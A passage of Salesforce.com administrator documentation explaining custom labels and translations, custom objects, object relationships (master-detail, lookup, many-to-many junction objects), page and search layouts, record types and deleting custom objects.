Note: It may take a few minutes before all users see any changes you make to this field.

7. Click Save.

See Also:
Custom Labels Overview
Viewing Custom Labels
Creating and Editing Custom Label Translations

Viewing Custom Labels


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete custom labels: “Customize Application”
Create or override a translation: “Manage Translation”
OR
“View Setup and Configuration” and be designated as a
translator

After creating a custom label, you can:

• Edit the custom label.


Note: You cannot edit the attributes of custom labels installed as part of a managed package. You can only override
the existing translations or provide new translations for languages not included in the package.

• Delete a custom label.


Note: You cannot delete custom labels installed as part of a managed package, or that are referenced by an Apex
script or a Visualforce page. You can only override the existing translations.

1367
Create Creating and Editing Custom Label Translations

• Create or edit a translation.

See Also:
Custom Labels Overview
Creating and Editing Custom Labels
Creating and Editing Custom Label Translations
Setting Up the Translation Workbench

Creating and Editing Custom Label Translations


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete custom labels: “Customize Application”
Create or override a translation: “Manage Translation”
OR
“View Setup and Configuration” and be designated as a
translator

To create or edit custom labels:

1. Go to Setup ➤ Create ➤ Custom Labels.


2. Select the custom label name to open the label.
3. In the Translations related list, click New to enter a new translation or Edit next to the language to change a translation.
If you click Delete, Salesforce.com confirms you want to delete, then removes the translation form the custom label.
4. Select the Language you are translating into.
5. Enter the Translation Text. This text overrides the value specified in the label's Value field when a user's default
language is the translation language.
6. Click Save.

See Also:
Custom Labels Overview
Creating and Editing Custom Labels
Viewing Custom Labels
Setting Up the Translation Workbench

1368
Create What is a Custom Object?

What is a Custom Object?


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom objects are custom database tables that allow you to store information unique to your organization. For example, your
organization may want to create a custom object called Quotes to store data for your company’s sales quotes. For the total
number of custom objects you can create, see Salesforce.com Editions and Limits on page 1584.
After you define a custom object, you can:

• Create custom fields. For the total number of custom fields you can create, see Salesforce.com Editions and Limits on
page 1584.
• Associate the custom object with other records and display the custom object data in custom related lists. For more
information, see Overview of Relationships on page 1375.
• Track tasks and events for custom object records
• Build page layouts
• Customize the search results and the custom object fields that display in them
• Create a custom tab for the custom object
• Create reports and dashboards to analyze custom object data
• Share your custom objects, custom tabs, custom apps, and any other related components with other Salesforce.com users
on Force.com AppExchange. See Overview of Packages on page 1488.
• Import custom object records
• Set up a queue to distribute ownership of custom object records

See Also:
Defining Object-Level Help
Tip sheet: Building Custom Objects, Tabs, and Related Lists
What is an App?

Defining Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom objects: "Customize Application"

Define custom objects to track and store data unique to your organization. For the total number of custom objects you can
create, see Salesforce.com Editions and Limits on page 1584.
To create a custom object:

1369
Create Defining Custom Objects

1. Click Setup ➤ Create ➤ Objects.


2. Click New Custom Object, or click Edit to modify an existing custom object.
3. Enter the following:

Field Description
Label A name used to refer to the object in any user interface pages.
Plural Label The plural name of the object. If you create a tab for this
object, this name is used for the tab.
Gender If it is appropriate for your organization’s default language,
specify the gender of the label. This field appears if the
organization-wide default language expects gender. Your
personal language preference setting does not affect whether
the field appears. For example, if the organization’s default
language is English and your personal language is French,
you are not prompted for gender when creating a custom
object.
Starts with a vowel sound If it is appropriate for your organization’s default language,
check if your label should be preceded by "an" instead of "a."
Object Name A unique name used to refer to the object when using the
Force.com API. In managed packages, this unique name
prevents naming conflicts on package installations. The
Object Name field can contain only underscores and
alphanumeric characters. It must be unique, begin with a
letter, not include spaces, not end with an underscore, and
not contain two consecutive underscores.
Description An optional description of the object. A meaningful
description will help you remember the differences between
your custom objects when you are viewing them in a list.
Context-Sensitive Help Setting Defines what displays when users click the Help for this
Page context sensitive help link from the custom object
record home (overview), edit, and detail pages, as well as list
views and related lists. Choose Open the standard
Salesforce Help & Training window if you want to display
the basic Salesforce.com help available for any custom object
record. Choose Open a window using a Visualforce
page or Open a window using a custom s-control to display
the Visualforce page or s-control you select as the
context-sensitive help link from any custom object record
page.
Note: The Help & Training link at the top of any
page is not affected by this setting. It always opens
the Salesforce.com Help & Training window.

1370
Create Defining Custom Objects

Field Description
For more information on creating custom help, see Custom
Help Overview on page 1251.
Custom S-Control The s-control you have defined that contains the help
content for this custom object.
Record Name The name used in page layouts, list views, related lists, and
search results.
Data Type The type of field (text or auto-number) for the record name.
Records that have unique IDs instead of names use
auto-numbers. An auto-number is a unique sequential
number assigned automatically. It is always a read-only field.
Display Format For a Record Name of type auto-number, enter a display
format. You can have up to two sets of curly braces. For
more details about display format options, see Custom Field
Attributes on page 818.
Starting Number For a Record Name of type auto-number, enter the number
to use when creating your first record for this custom object.
Allow Reports Makes the data in the custom object records available for
reporting purposes.
To create reports on custom objects, choose the Other
Reports report type category unless the custom object has
a relationship with a standard object. When the custom
object has a master-detail relationship with a standard object,
or is a lookup object on a standard object, select the standard
object for the report type category instead.

Allow Activities Allows users to associate tasks and scheduled calendar events
related to the custom object records. For more information,
see Notes on Enabling Activities for Custom Objects on
page 1373.
Enable Divisions If your organization has divisions enabled, select this option
to enable the custom object for divisions. Divisions group
records for simplified search results, list views, reports, and
other areas within Salesforce.com. Salesforce.com adds a
Division field to the custom object, and if the custom
object is the master in a master-detail relationship, any
custom objects on the detail side also get the Division
field and inherit their division from the master record.
Track Field History Enables your organization to track changes to fields on the
custom object records, such as who changed the value of a
field, when it was changed, and what the value of the field
was before and after the edit. History data is available for
reporting, so users can easily create audit trail reports when
this feature is enabled.

1371
Create Defining Custom Objects

Field Description
Deployment Status Indicates whether the custom object is visible to other users.
For more information, see Deploying Custom Objects on
page 1374.
Add Notes & Attachments... Allows users to be able to attach notes and attachments to
custom object records. This allows you to attach external
documents to any object record, in much the same way that
you can add a PDF or photo as an attachment to an email.
This option is only available when you are creating a new
object.

Launch the New Custom Tab Wizard Starts the custom tab wizard after you save the custom object.

4. Click Save.

Notes on Custom Objects


Object Permissions
In Enterprise, Unlimited, and Developer Editions, when you create a custom object, the “Read,” “Create,” “Edit,”
“Delete,” “View All,” and “Modify All” permissions for that object are disabled for any profiles in which “View All Data”
or “Modify All Data” is disabled. You can change these permissions in custom profiles, but not standard profiles. That
is, users with standard profiles (except System Administrator) can't access new custom objects—you must assign them
custom profiles and edit the profiles. To enable access to custom objects, do one of the following:
• For users with standard profiles:
1. Clone the profiles of the users whose object permissions you want to change.
2. Edit the custom profiles, enabling the permissions you want.
Tip: If enhanced profile management is enabled for your organization, you can change permissions for
multiple profiles from the list view.

3. Edit the users' accounts, assigning the appropriate cloned custom profiles.

• For users with custom profiles, simply edit their profiles, enabling the permissions you want.

Note: In Contact Manager, Group, and Professional Editions, when you create a custom object, the “Read,”
“Create,” “Edit,” and “Delete” permissions for that object are enabled for all profiles.

Sharing Model
The data sharing model for all custom objects is controlled by an organization-wide default setting. For more information,
see Custom Object Security on page 1390.

Delegating Custom Object Administration


After you create a custom object, you can delegate the administration of the custom object to other non-administrator
users.

1372
Create Defining Custom Objects

Queues
After you create a custom object, you can define queues to distribute ownership of custom object records to your users.

Search
Custom object records appear in search results only if they have a custom tab.

See Also:
Managing Workflow and Approvals
Overview of Relationships
Defining Object-Level Help

Notes on Enabling Activities for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

• If you enable activities when creating a custom object, the activity related lists are added to the default page layout
automatically. If you enable activities later, after the custom object already exists, you must add the related lists to the page
layout manually.
• Disabling activities for a custom object does not delete existing activity records. However, activity related lists are removed
from custom object pages, and reports containing activities and the custom object are deleted.
• If a custom object has a master-detail relationship with accounts, the custom object’s activities roll up to the account and
cause the account’s Last Activity date to be updated. For custom objects related to other types of records, the activities
do not roll up.
• The ability to send emails or create mail merge documents is available for activities on custom objects. The email must be
sent to a contact or lead.
• When you change the ownership of a custom object record, any open activities related to that custom object are also
transferred to the new record owner.
• You cannot disable activity tracking for a custom object if any workflow tasks are associated with that custom object, or if
tasks and events are child data sets of the custom object in a mobile configuration.
• Custom object records can only be associated with a call log in Salesforce CRM Call Center if activities are enabled for
the object.

See Also:
Defining Custom Objects
Creating a Many-to-Many Relationship
Defining Data Sets

1373
Create Managing Custom Objects

Deploying Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To deploy custom objects: “Customize Application”

While developing custom objects, you may not want users to see and interact with a new object. Because users may get frustrated
with changes in layout or lose data when you delete custom fields, control visibility of the new object until you are finished.
Use the Deployment Status setting in the custom object definition to control when users can see and use a custom object
and its associated custom tab, related lists, and reports.

• Choose “In Development” as the Deployment Status when first creating your custom object to hide it from users while
you are designing and testing it. Making the status “In Development” hides the custom object tab, search results, related
lists, and report data types from all users except those with the “Customize Application” permission.
• Change the Deployment Status to “Deployed” when you want to allow all users to use the custom object and any
associated custom tab, related lists, and reports.
• After deploying a custom object, change the Deployment Status back to “In Development” if you want to make more
enhancements to it.

Note: A custom report type's Deployment Status will automatically change from “Deployed” to “In Development”
if its primary object is a custom object whose Deployment Status changes from “Deployed” to “In Development.”
For more information, see Defining Custom Report Types on page 2208.

See Also:
Defining Custom Objects

Managing Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom objects: “Customize Application”

After creating your custom objects, you can customize, edit, and delete them. Click Setup ➤ Create ➤ Objects to display
the Custom Objects list page, which shows the list of custom objects defined for your organization. From the Custom Objects
list page, you can:

• Click New Custom Object to define a custom object.

1374
Create Overview of Relationships

• Click the object name to display detailed information about the custom object and customize it further.
Optional features you can customize include enabling reports, tracking activities, tracking field history, and making the
object available for the Salesforce.com Customer Portal.
• To update the custom object definition, click Edit and update the desired fields in the wizard.
Note: The Allow Reports and Allow Activities fields are not locked in Managed - Released and can be
changed by the developer in future releases of a managed package

• To delete a custom object, click Del.


• To view deleted custom objects, click the Deleted Objects link. The total number of deleted custom objects for your
organization is listed in parenthesis.

When viewing the detail page of a custom object, the lower portion page provides information about various characteristics
of the custom object: standard fields, custom fields, field history tracking, relationships, custom links, search layouts, and page
layouts. You can:

• Click on individual items to display additional detail.


• Click more at the bottom of the page or View More below a related list to display more items.
• Click New to directly add new items.

Note: If enabled by your administrator, related list hover links display at the top of each detail page. If Salesforce
Chatter is enabled, related list hover links display below feeds. Hover your mouse pointer over a related list hover link
to display the corresponding related list and its number of records. An interactive overlay allows you to quickly view
and manage the related list items. You can also click a related list hover link to jump to the content of the related list
without having to scroll down the page.

See Also:
What is a Custom Object?
Overview of Relationships
Customizing Custom Objects
Import My Organization's Custom Objects
Tracking Field History
Defining Object-Level Help
Tip sheet: Building Custom Objects, Tabs, and Related Lists

Overview of Relationships
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Use relationships to associate an object with other objects in Salesforce.com. For example, a relationship can link custom object
records to standard object records in a related list, such as linking a custom object called “Bugs” to cases to track product defects
associated with customer cases. You can define different types of relationships by creating custom relationship fields on an
object. Before you begin creating relationships, determine the type of relationship that suits your needs.

1375
Create Overview of Relationships

There are different types of relationships between objects in Salesforce.com. Their differences include how they handle data
deletion, record ownership, security, and required fields in page layouts:
Master-detail
This type of relationship closely links objects together such that the master record controls certain behaviors of the detail
and subdetail record. For example, you can define a two-object master-detail relationship, such as Account—Expense
Report, the extend the relationship to subdetail records, such as Account—Expense Report—Expense Line Item. You
can then perform operations across the master—detail—subdetail relationship.
Behaviors of master-detail relationships include:

• When a master record is deleted, the related detail and subdetail records are also deleted.
• The Owner field on the detail and subdetail records is not available and is automatically set to the owner of the master
record. Custom objects on the “detail” side of a master-detail relationship cannot have sharing rules, manual sharing,
or queues, as these require the Owner field.
• The security settings for the master record control the detail and subdetail records.
• The master-detail relationship field (which is the field linking the objects) is required on the page layout of the detail
and subdetail records.
• The master object can be a standard object, such as Account or Opportunity, or a custom object.

Tip: If you have a custom object called “Expenses” and you want each expense record deleted along with its
associated opportunity record, create a master-detail relationship on the “Expenses” custom object with
Opportunity as the master object.

Many-to-many
You can use master-detail relationships to model many-to-many relationships between two standard objects, two custom
objects, or a custom object and a standard object. A many-to-many relationship allows each record of one object to be
linked to multiple records from another object and vice versa. For example, you may have a custom object called “Bug”
that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related
to multiple bugs. See Creating a Many-to-Many Relationship on page 1377.

Lookup
This type of relationship links two objects together, but it has no effect on deletion, record ownership, or security, and
the lookup relationship field is not required in the page layout.
Use lookup relationships to:

• Link two different objects, custom or standard.


• Link an object with itself, custom or standard (with the exception of the user object; see Hierarchical on page 1377).
For example, you may want to link a custom object called “Bug” with itself to show how two different bugs are related
to the same problem.

Note: Lookup relationships from objects related to the campaign member object are not supported, however,
you can create lookup relationships from the campaign member object related to other objects.

When you define a lookup relationship, you have the option to include a lookup field on the page layouts for that object
as well as create a related list on the associated object's page layouts. For example, if you have a custom object called
“PTO Requests” and you want your users to link a PTO request with the employee submitting the request, create a
lookup relationship from the PTO Request custom object with the user object.

1376
Create Overview of Relationships

Hierarchical
This type of relationship is a special lookup relationship available only for the user object. It allows users to use a lookup
field to associate one user with another that does not directly or indirectly refer to itself. For example, you can create a
custom hierarchical relationship field to store each user's direct manager.
Tip: When creating a hierarchical field in Personal, Contact Manager, Group, and Professional Editions, you
can select the Restricted Field checkbox so that only users with the “Manage Users” permission can edit
it. In Enterprise, Unlimited, and Developer Edition, use field-level security instead.

See Also:
Considerations for Relationships
Defining Custom Objects
Creating Custom Fields

Creating a Many-to-Many Relationship


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create a many-to-many relationship: “Customize Application”

You can use master-detail relationships to model many-to-many relationships between two standard objects, two custom
objects, or a custom object and a standard object. A many-to-many relationship allows each record of one object to be linked
to multiple records from another object and vice versa. For example, you may have a custom object called “Bug” that relates
to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs.
When modeling a many-to-many relationship, you use a junction object to connect the two objects you want to relate to each
other.
Junction Object
A custom object with two master-detail relationships. Using a custom junction object, you can model a “many-to-many”
relationship between two objects. For example, you may have a custom object called “Bug” that relates to the standard
case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs.

Creating the many-to-many relationship consists of:

1. Creating the junction object.


2. Creating the two master-detail relationships.
3. Customizing the related lists on the page layouts of the two master objects.
4. Customizing reports to maximize the effectiveness of the many-to-many relationship.

Creating the Junction Object


To create the junction object:

1377
Create Overview of Relationships

1. Click Setup ➤ Create ➤ Objects.


2. Click New Custom Object.
3. In the custom object wizard, consider these tips specifically for junction objects:
• Name the object with a label that indicates its purpose, such as BugCaseAssociation.
• For the Record Name field, it is recommended that you use the auto-number data type.
• Do not launch the custom tab wizard before clicking Save. Junction objects do not need a tab.

Creating the Two Master-Detail Relationships


To create the two master-detail relationships:
1. Verify that the two objects you want to relate to each other already exist. For example, you may want to relate the standard
case object to a custom bug object.
2. On the junction object, create the first master-detail relationship field. In the custom field wizard:
a. Choose Master-Detail Relationship as the field type.
b. Select one of the objects to relate to your junction object. For example, select Case.
The first master-detail relationship you create on your junction object becomes the primary relationship. This affects
the following for the junction object records:
• Look and feel: The junction object's detail and edit pages use the color and any associated icon of the primary master
object.
• Record ownership: The junction object records inherit the value of the Owner field from their associated primary
master record. Because objects on the detail side of a relationship do not have a visible Owner field, this is only
relevant if you later delete both master-detail relationships on your junction object.
• Division: If your organization uses divisions to segment data, the junction object records inherit their division from
their associated primary master record. Similar to the record ownership, this is only relevant if you later delete both
master-detail relationships.

c. Select a Sharing Setting option. For master-detail relationship fields, the Sharing Setting attribute determines
the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records.
d. For the Related List Label that will display on the page layout of the master object, do not accept the default.
Change this to use the name of the other master object in your many-to-many relationship. For example, change this
to Bugs so users will see a Bugs related list on the case detail page.

3. On the junction object, create the second master-detail relationship. In the custom field wizard:
a. Choose Master-Detail Relationship as the field type.
b. Select the other desired master object to relate to your junction object. For example, select Bug.
The second master-detail relationship you create on your junction object becomes the secondary relationship. If you
delete the primary master-detail relationship or convert it to a lookup relationship, the secondary master object becomes
primary.
c. Select a Sharing Setting option. For master-detail relationship fields, the Sharing Setting attribute determines
the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records.
d. For the Related List Label that will display on the page layout of the master object, do not accept the default.
Change this to use the name of the other master object in your many-to-many relationship. For example, change this
to Cases so users will see a Cases related list on the bug detail page.

1378
Create Overview of Relationships

Customizing Many-to-Many Relationship Related Lists


For a many-to-many relationship in Salesforce.com, each master object record displays a related list of the associated junction
object records. To create a seamless user experience, you can change the name of the junction object related list on each of the
master object page layouts to have the name of the other master object. For example, you might change the BugCaseAssociations
related list to Cases on the bugs page layout and to Bugs on the cases page layout. You can further customize these related
lists to display fields from the other master object.
To customize the fields that display in the junction object related list on each master object page layout:
1. Edit the page layout of each master object that is related to the junction object. For example, to modify the
BugCaseAssociations related list for case records, edit the page layout for cases at Setup ➤ Customize ➤ Cases ➤ Page
Layouts.
2. Edit the properties of the related list you want to modify. For example, on cases the BugCaseAssociations related list was
renamed to Bugs, so select the Bugs related list.
3. Add the fields to display in the related list. You can add fields from the junction object itself, but more importantly, you
can add fields from the other master object.
Each field is prefixed with its object name in the popup window. In the related list itself, only fields from the junction
object are prefixed with the object name; fields from the other master object are not.

Note: The junction object related list does not include an icon on the master record's detail pages because the junction
object does not have a custom tab. If you make a tab for the junction object, the icon is included.

Customizing Reports for Many-to-Many Relationships


Many-to-many relationships provide two standard report types that join the master objects and the junction object. The report
types are:
• “Primary master with junction object and secondary master” in the primary master object's report category
• “Secondary master with junction object and primary master” in the secondary master object's report category
The order of the master objects in the report type is important. The master object listed first determines the scope of records
that can be displayed in the report.
You can create custom reports based on these standard report types. In addition, you can create custom report types to customize
which related objects are joined in the report.

See Also:
Defining Custom Objects
Considerations for Relationships
What is a Custom Report Type?

Considerations for Relationships


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Review the following considerations before creating relationships between objects:

1379
Create Overview of Relationships

Relationship Limits
Each custom object can have up to two master-detail relationships and many lookup relationships. Each relationship is
included in the maximum number of custom fields allowed. For the total number of custom fields you can create, see
Salesforce.com Editions and Limits on page 1584.

Changing and Converting Relationships


After you have created a relationship, you cannot change which objects are related via that relationship. If you need to
do this, delete the relationship and create a new relationship.
You can convert a master-detail relationship to a lookup relationship as long as no roll-up summary fields exist on the
master object.
You can convert a lookup relationship to a master-detail relationship, but only if the lookup field in all records contains
a value.

Self Relationships
You can create a relationship from an object to itself, but it must be a lookup relationship, and a single record cannot be
linked to itself. However, a record can indirectly relate to itself. For example, the Holiday Promotion campaign can have
the Direct Mail campaign selected in the lookup relationship, and the Direct Mail campaign can have the Holiday
Promotion campaign selected in the lookup relationship.
You cannot create a many-to-many self relationship, that is, the two master-detail relationships on the junction object
cannot have the same master object.

Icons for Custom Related Lists


The icon you select for the associated custom tab also displays in any custom related list you create based on a relationship.
For more information on choosing the icon for your custom tab, see Creating Custom Object Tabs.
Custom related lists do not include an icon if they are based on a relationship with a custom object that does not have
a custom tab.

Master-Detail Relationships
To create multilevel master-detail relationships, you need the "Customize Application" user permission.
When you define a master-detail relationship, the custom object on which you are working is the “detail” side. Its data
can appear as a custom related list on page layouts for the other object.
If a custom object is detail or subdetail component a master-detail relationship, it cannot also be the master of a different
master-detail relationship.
You can have up to three custom detail levels.
Standard objects cannot be on the detail side of a custom object in a master-detail relationship.
An object can appear once in multilevel master-detail relationships. For example, a subdetail object in one multilevel
master-detail relationship cannot also be the owner of the master object in another multilevel master-detail relationship.
A subdetail object cannot also be the master object of the subdetail object's detail object.
You cannot create a master-detail relationship if the custom object already contains data. You can, however, create the
relationship as a lookup and then convert it to master-detail if the lookup field in all records contains a value.
Converting relationships from lookup to master-detail, or from master-detail to lookup behaves the same as for two-object
master-detail relationships. That is, the two linked objects in the detail-subdetail1, or subdetail1-subdetail2 relationship
have the same conversion limits as the master-detail relationship.

1380
Create Overview of Relationships

Roll-up summary fields work as in two-object master-detail relationships. A master can roll up fields on detail records;
however, it cannot directly roll up fields on subdetail records. To achieve this, the detail record must have a roll-up
summary field for the field on the subdetail record, allowing the master to roll up from the detail's roll-up summary field.
You can use multilevel master-detail relationships in custom report types. The Allow Reports checkbox must be
checked when you create the custom object. Custom report types created for multilevel master-detail relationships count
towards the organizations custom report type limit and no reports are generated if this limit is exceeded. See Salesforce.com
Editions and Limits on page 1584.
Custom junction objects on page 1377, cannot have detail objects. That is, a custom junction object cannot become the
master object in a multilevel master-detail relationship.
When you delete a custom object that is on the detail side of a master-detail relationship, the relationship is converted
to a lookup relationship. If you restore the custom object, you must manually convert it to a master-detail. See Changing
Custom Field Type on page 986.
You cannot delete a custom object if it is on the master side of a master-detail relationship.
Undeleting the master record also undeletes detail and subdetail records.

Many-to-Many Relationships
Junction object records are deleted when either associated master record is deleted and placed in the Recycle Bin. If both
associated master records are deleted, the junction object record is deleted permanently and cannot be restored.
Sharing access to a junction object record is determined by a user's sharing access to both associated master records and
the Sharing Setting option on the relationship field. See Custom Object Security on page 1390. For example, if the
sharing setting on both parents is Read/Write, then the user must have Read/Write access to both parents in order to
have Read/Write access to the junction object. If, on the other hand, the sharing setting on both masters is Read-Only,
a user with Read-Only rights on the master records would have Read/Write access to the junction object.
You can create workflow rules and approval processes on junction objects; however, you cannot create outbound messages
on junction objects.
In a many-to-many relationship, a user cannot delete a parent record if there are more than 200 junction object records
associated with it and if the junction object has a roll-up summary field that rolls up to the other parent. To delete this
object, manually delete junction object records until the count is fewer than 200.

The first master-detail relationship you create on your junction object becomes the primary relationship. This affects
the following for the junction object records:

• Look and feel: The junction object's detail and edit pages use the color and any associated icon of the primary master
object.
• Record ownership: The junction object records inherit the value of the Owner field from their associated primary
master record. Because objects on the detail side of a relationship do not have a visible Owner field, this is only
relevant if you later delete both master-detail relationships on your junction object.
• Division: If your organization uses divisions to segment data, the junction object records inherit their division from
their associated primary master record. Similar to the record ownership, this is only relevant if you later delete both
master-detail relationships.

The second master-detail relationship you create on your junction object becomes the secondary relationship. If you delete
the primary master-detail relationship or convert it to a lookup relationship, the secondary master object becomes primary.

Roll-up summary fields that summarize data from the junction object can be created on both master objects.

1381
Create Overview of Relationships

Formula fields and validation rules on the junction object can reference fields on both master objects.
You can define Apex triggers on both master objects and the junction object.
A junction object cannot be on the master side of another master-detail relationship.
You cannot create a many-to-many self relationship, that is, the two master-detail relationships on the junction object
cannot have the same master object.

Impact of Relationships on Reports


The type of relationship you create affects which standard report types are available and how they are categorized in the
first step of the custom report wizard. These report types determine which related objects can be included in the report:

• Lookup relationships allow data from the two related objects to be joined in one report.
• Master-detail relationships allow data from three objects to be joined in one report: the master object, the detail
object, plus one other lookup object. If the detail object has multiple lookup relationships, a separate report type is
available based on each lookup.
• Many-to-many relationships provide two standard report types that join the master objects and the junction object.
The report types are:

- “Primary master with junction object and secondary master” in the primary master object's report category
- “Secondary master with junction object and primary master” in the secondary master object's report category

The order of the master objects in the report type is important. The master object listed first determines the scope
of records that can be displayed in the report.

The reporting impact of each relationship type is summarized in the following table:

Relationship Type Standard Report Types Report Type Category


Lookup Object by itself Based on the object
Object with first lookup
Object with second lookup
Object with third lookup

Master-Detail Master object by itself Master object


Master object with detail object
Master object with detail object and
first lookup
Master object with detail object and
second lookup
Master object with detail object and
third lookup

Many-to-Many Primary master object by itself Primary master object


Secondary master object by itself and
Secondary master object

1382
Create Customizing Custom Objects

Relationship Type Standard Report Types Report Type Category


Primary master object with junction
object and secondary master object
Secondary master object with junction
object and primary master object

Custom report typesgive you more flexibility to join data from multiple objects, including lookups as well as master-detail
relationships.

Important: Converting a relationship from lookup to master-detail or vice versa can cause existing custom
reports to become unusable due to the different standard report types available for each type of relationship.
We recommend that you test your custom reports immediately after converting the relationship type. If you
revert your relationship back to the original type, the reports are restored and become usable again.

See Also:
Overview of Relationships
Creating a Many-to-Many Relationship

Customizing Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize custom objects: “Customize Application”

Customize the user interface for your custom objects by:

• Creating a custom tab; see Defining Custom Tabs on page 1394


• Creating custom fields and relationships; see Defining Custom Object Fields on page 1384
• Adding customized buttons and links to perform actions or link to other pages or websites; see Defining Custom Buttons
and Links on page 990
• Defining which fields display for users on record detail and edit pages; see Building Page Layouts for Custom Objects on
page 1385
• Specifying which fields display for users in search results, lookup dialogs, and in the key lists on custom object tabs; see
Customizing Search Layouts for Custom Objects on page 1386
• Creating record types to display different picklist values and page layouts to different users based on their profiles; see
Creating Custom Object Record Types on page 1387

1383
Create Customizing Custom Objects

Defining Custom Object Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view and edit standard fields: “Customize Application”
To create custom fields: “Customize Application”

Custom object fields store the data for your custom object records.
Custom Fields for Custom Objects
You can create custom fields to store information unique to your organization; see Creating Custom Fields on page 812.
You can also create custom relationship fields to associate your custom object with another object in Salesforce.com. For
more information about relationships, see Overview of Relationships on page 1375.

Standard Fields for Custom Objects


Custom objects automatically include the following standard fields. Click Edit to modify any of the editable fields.

Field Description
Created By User who created the record.
Currency Currency of the record if multicurrency is enabled.
Division Division to which the custom object record belongs. Custom
objects that are “detail” objects in a master-detail relationship
inherit their division from the master object. Custom objects
that are not related to other records are automatically in the
global division. Available only in organizations that use
divisions to segment their data.
Last Modified By User who most recently changed the record.
Name Identifier for the custom object record. This name appears in
page layouts, related lists, lookup dialogs, search results, and
key lists on tab home pages. By default, this field is added to
the custom object page layout as a required field.
Owner Assigned owner of the custom object record. If the custom
object becomes the detail side of a master-detail relationship,
this field is removed, as ownership of the data is controlled by
the master object, or by the primary master object for a custom
object with two master-detail relationships.
Note: Custom objects on the “detail” side of a
master-detail relationship cannot have sharing rules,

1384
Create Customizing Custom Objects

Field Description
manual sharing, or queues, as these require the Owner
field.

See Also:
Customizing Custom Objects
Overview of Relationships

Building Page Layouts for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define page layouts for custom objects: “Customize Application”

Page layouts define which fields users can view and edit when entering data for a custom object record. You can use the default
page layout that is created automatically when you create a custom object. You can also build your own page layout with related
lists and custom links. If you do not use any page layout with your custom object, you can still interact with it by using the
Force.com API to manage custom data or build a custom user interface.
To define a page layout for a custom object:

1. Click Setup ➤ Create ➤ Objects.


2. Select one of the custom objects in the list.
3. In the Page Layouts related list, click Edit next to one of the page layouts to modify it, or click New to create a new page
layout.
4. When creating a new page layout, enter a name for it, and select an existing page layout to clone, if desired.
5. Edit the page layout just as you would any other page layout.
6. Click Save.

See Also:
What is a Custom Object?
Customizing Page Layouts
Customizing Custom Objects

1385
Create Customizing Custom Objects

Customizing Search Layouts for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define search layouts for custom objects: “Customize Application”

You can customize which custom object fields display for users in search results, in lookup dialogs, and in the key lists on
custom tab home pages. You can specify a different set of fields to show in each search layout. The settings apply to all users
in your organization.
Additionally, customize which buttons display in custom list views and search results. You can hide a standard list view button
or display a custom button. Standard buttons are not available on search result layouts. To display a custom button, create the
custom button and give it a “List Button” Display Type.

1. Click Setup ➤ Create ➤ Objects.


2. Select one of the custom objects in the list.
3. In the Search Layouts related list, click Edit next to the search layout you want to modify.
Note: The fields you select for the key lists on the custom tab home page are also used as the columns displayed
in the default “All” list view and as the default columns for any new list views. To view different columns, customize
the list view itself.

4. Use the arrows to add or remove fields from the search layout, and to define the order in which the fields should display.
5. Use the arrows to add or remove custom buttons from the layout, and to define the order in which the buttons should
display. To select more than one item, use CTRL+click or SHIFT+click to select multiple items in a range.

• Select one or more items in the available list and click Add to add them to the layout.
• Select one or more items in the selected list and click Remove to remove them from the layout.
• Select one or more items in the selected list and click Up to move them higher in the list.
• Select one or more items in the selected list and click Down to move them lower in the list.

6. Click Save.

For more details about search layouts, see Notes on Search Layouts on page 1044.

See Also:
Customizing Search Layouts
Customizing Custom Objects

1386
Create Customizing Custom Objects

Creating Custom Object Record Types


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create record types for custom objects: “Customize Application”

Create record types for a custom object to display different picklist values and page layouts to different users based on their
profiles. For more information about record types, see Managing Record Types on page 1004.

1. Click Setup ➤ Create ➤ Objects.


2. Select the custom object.
3. Click New in the Record Types related list.
4. Choose Master from the Existing Record Type drop-down list to copy all available picklist values, or choose an
existing record type to clone its picklist values.
5. Enter a Record Type Label that's unique within the object.
6. Enter a description.
7. Select Active to activate the record type.
8. Select Enable for Profile next to a profile to make the record type available to users with that profile. Select the
checkbox in the header row to enable it for all profiles.
9. For enabled profiles, select Make Default to make it the default record type for users of that profile. Select the checkbox
in the header row to make it the default for all profiles.
10. Click Next.
11. Choose a page layout option to determine what page layout displays for records with this record type:

• To apply a single page layout for all profiles, select Apply one layout to all profiles and choose the page
layout from the drop-down list.
• To apply different page layouts based on user profiles, select Apply a different layout for each profile
and choose a page layout for each profile.

12. Click Save to edit the values of the standard and custom picklists available for the record type, or click Save and New to
create another record type.

See Also:
Customizing Custom Objects

1387
Create Deleting Custom Objects

Deleting Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete custom objects: “Customize Application”

To delete custom objects:

1. Click Setup ➤ Create ➤ Objects.


2. Next to the custom object, click Del.
3. When prompted, select the Yes, I want to delete the custom object checkbox to confirm, and click Delete.

Notes on Deleting Custom Objects


• When you delete a custom object, Salesforce.com does not list it in the Recycle Bin with other deleted records. Instead,
deleted objects appear in the Deleted Custom Objects list for 45 days. During this time you can restore an object and the
